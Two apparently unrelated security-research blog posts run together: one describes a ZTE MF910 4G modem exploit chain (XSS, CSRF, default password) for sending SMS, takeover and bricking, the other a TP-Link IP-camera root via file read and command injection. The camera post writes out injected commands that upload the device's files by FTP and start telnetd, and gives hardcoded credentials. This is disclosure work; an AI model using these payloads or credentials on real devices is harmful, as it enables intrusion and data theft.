Nowadays, wireless 4G connections are fairly popular way of connecting to internet. Most of the internet service providers provide at least some form of 4G-package and usually they also include a free 4G-modem along with the 4G-package. These free devices are usually just re-branded versions of other vendor’s devices. This blog post examines various vulnerabilities of a re-branded ZTE MF910 4G modem.
The research was started by connecting the ZTE-device to a computer normally and a connection was initiated in a way the manual instructed. A moment later, the administrative web-interface revealed itself with a default password of ‘1234’.

WAN-to-LAN-attack: Send SMS-messages by chaining CSRF, XSS, weak default credentials and another CSRF

The features provided by the web interface were examined and it was discovered that goform_set_cmd_process-functionality is used to send various commands to the modem. This functionality uses a single http-request in which various values are supplied with GET-parameters.
The available commands were then examined and one of the most interesting commands was possibility to send SMS messages to given phone numbers. This command however requires that the user is authenticated to the web interface. It also requires that the “Referrer”-header of the http-request matches IP-address of the modem, thus making CSRF-attacks which originate from third-party domain impossible.

Easiest way to bypass the previously mentioned protections would be finding XSS-vulnerabilities which allow sending requests with proper “Referrer”-value. Thus began the search for a XSS-vulnerability.
None were found in the goform_set_cmd_process, however a single reflected XSS was found in goform_get_cmd_process-functionality that is used to fetch data from the modem. The web interface uses GET-parameter named “cmd” to specify which command the functionality should execute. By inserting a malicious javascript-payload to this GET-parameter, the server places this payload to the http-response thus triggering an XSS on the web interface.
This XSS on the goform_get_cmd_process-functionality did not require any authentication and had no CSRF-protection, which made it a great initial attack point for further attacks.

Next by crafting a special javascript payload for the XSS, it could be instructed to send http-request towards the SMS-functionality. As the request was sent from a page hosted by the modem via XSS, the “Referrer”-header value is now set to modem’s IP-address thus allowing access to the command.
The SMS-functionality however still required that the user is authenticated. As the modem does not force users to change the default password and uses same password for every device, this was bypassed simply by using the XSS to send a login-request with default password.
However a new problem was encountered during the exploitation attempt. The XSS allowed only a short payload which did not have enough space for sending the login-request and the SMS-message. This was bypassed fairly easily by splitting the payload in half. A second-stage payload contains the javascript that sends the login-command and the SMS-command. This second-stage payload is hosted on an external domain. A very simple first-stage payload was then supplied to the initial XSS and its only purpose is to load the second-stage payload script.

First-stage payload

Second-stage payload

Finally, the exploitation succeeded and by executing a CSRF-attack from a page hosted in internet, the full exploit chain was executed and the SMS-messages were sent to phone numbers specified by the adversary. Exploitation of this kind of attack is fairly severe as it requires nearly no user interaction and the initial attack can begin from WAN-side.
https://youtu.be/BLIWNBp-u34
An example attack scenario would be for example, when the user clicks on a link on e.g Facebook, the payload will trigger and the exploit will login to the system and send tons of SMS messages to whichever number that adversary defined in the payload. This will then lead to a situation where monetary consequences are caused to the owner of the modem and the targeted phone number will be filled with spam-messages.

Modem Takeover

In practice, a hacker will be able to change any settings from the MF910 device via the previously introduced CSRF-based exploit chain. For example, an adversary can hijack the web interface and take over the modem by using the exploit chain and the functionality which the modem uses for changing passwords.

Stored XSS

When creating new contacts, a “groupchoose”-parameter can be used to store malicious JavaScript payload in a contact that will be run each time contact page is opened.

This vulnerability is also exploitable via WAN-to-LAN-attack by using the previously introduced exploit chain.

Persistent denial-of-service

The goform_set_cmd_process-functionality contains a command “SET_WEB_LANGUAGE”, which is used to specify language of the web interface. By setting value of this command to fi”, brick, the modem will be bricked and the user can’t access the web interface anymore. Only way to recover from this denial-of-service condition is to do a factory reset on the modem.

The vulnerability can be exploited through a simple CSRF, however it requires that the “Referrer”-header matches IP-address of the modem. Thus, the previously introduced exploit chain can be used to exploit also this in a WAN-to-LAN-attack.

Conclusion

Current state of security in IoT-devices seems miserable (“The S in IoT stands for security”). This product did not prove otherwise. However when these vulnerabilities were reported to the manufacturer, the manufacturer reacted very quickly and all findings were fixed within couple of days, so there is light at the end of the tunnel. New firmware versions which fix the vulnerabilities were released to the original device and to the re-branded devices.

I have few of these and due to recent hackings of ip – cameras and IoT devices, I decided to take a look at my own cameras (that are behind NAT by the way)… It was an interesting thing to do some research on these devices and they were actually very easy to pop.
Here is a method to root the device. Browsers connection was through Burp Suite so I could intercept and check the requests back and forth between the device and my browser. Of course, OWASP ZAP or something similar could also be used to do this.

TP-Link TL-SC3171G IP-camera main settings view.
When browsing through the the web interface, I ended up to a page that showed devices syslog. Interesting.

When checking the requests that were made to that page, I noticed that there was a very interesting request made to the device. It seems like the file is given as a parameter…

”READ.filePath=syslog” ? I changed that parameter to ”/etc/hosts” – file and noticed that I could read files from the device file system. Any file.

Now this would already be bad, more if I would have the knowledge for all the config files on this embedded system…
After some enumeration, I didn’t find any ’jackpot’, so I moved on…After few minutes of research I found another interesting request that was made when testing the SMTP option on the device.

#1: I found a request that enabled me to write files anywhere I would like on the device. Thought this didn’t help me much, since I didn’t know where the cgi-bin was and there were no open ssh/telnet ports etc.

#2: that same ”Test” option sended another request. It compiled a command from the info user had filled to the form.

As can be seen from the Response, the email-test command is composed from the sended values. After some tests I found out that the device had ’wput’ command (that was clear based on the FTP connection tests via devices admin page). I was able to upload all files to my own server with ’wput’, after I  changed ”RcptToAddr1” value for example to…

• nonexisting@example.fi ; /bin/wput -t0 -u -nc -p -o/testftp.log /bin* ftp://xyz:xyz@10.0.0.8/;
  • Note 1: value had to be URL encoded so it goes through.
  • Note 2: Probably all variables include RCE possibility on that request since they are not properly sanitized.

After I downloaded almost everything from the device ((/var/*, /etc/*, /web/*, /root/*, /usr/*, /bin/* /sbin/*…) through the FTP connection, I researched the files and noticed that there was telnetd in the busybox version included in the device. I once again modified the command through the email command (of course, in URL encoded format):

• xyz@x00.fi; /bin/telnetd ;

And the gates were open…now port 23 answered:

After few tests I noticed that the default user is ’qmik’ (argh, it says ”QMIK login”…) and the user had sudo rights.

Of course, prerequisite is that one would have access to the email test page and that requires admin rights to the device. But no worries, after some enumeration of files, I noticed that there is hardcoded credentials in the device ( manufacture / erutcafunam )…
Oh, and that IP-camera doesn’t use any CSRF tokens, so it’s also possible to get your camera hacked by just visiting some malicious sites (if you’re logged in to the camera). Oh yes, and did you notice that the camera uses basic HTTP auth? That means your browser stays logged in until you close the browser.

– apox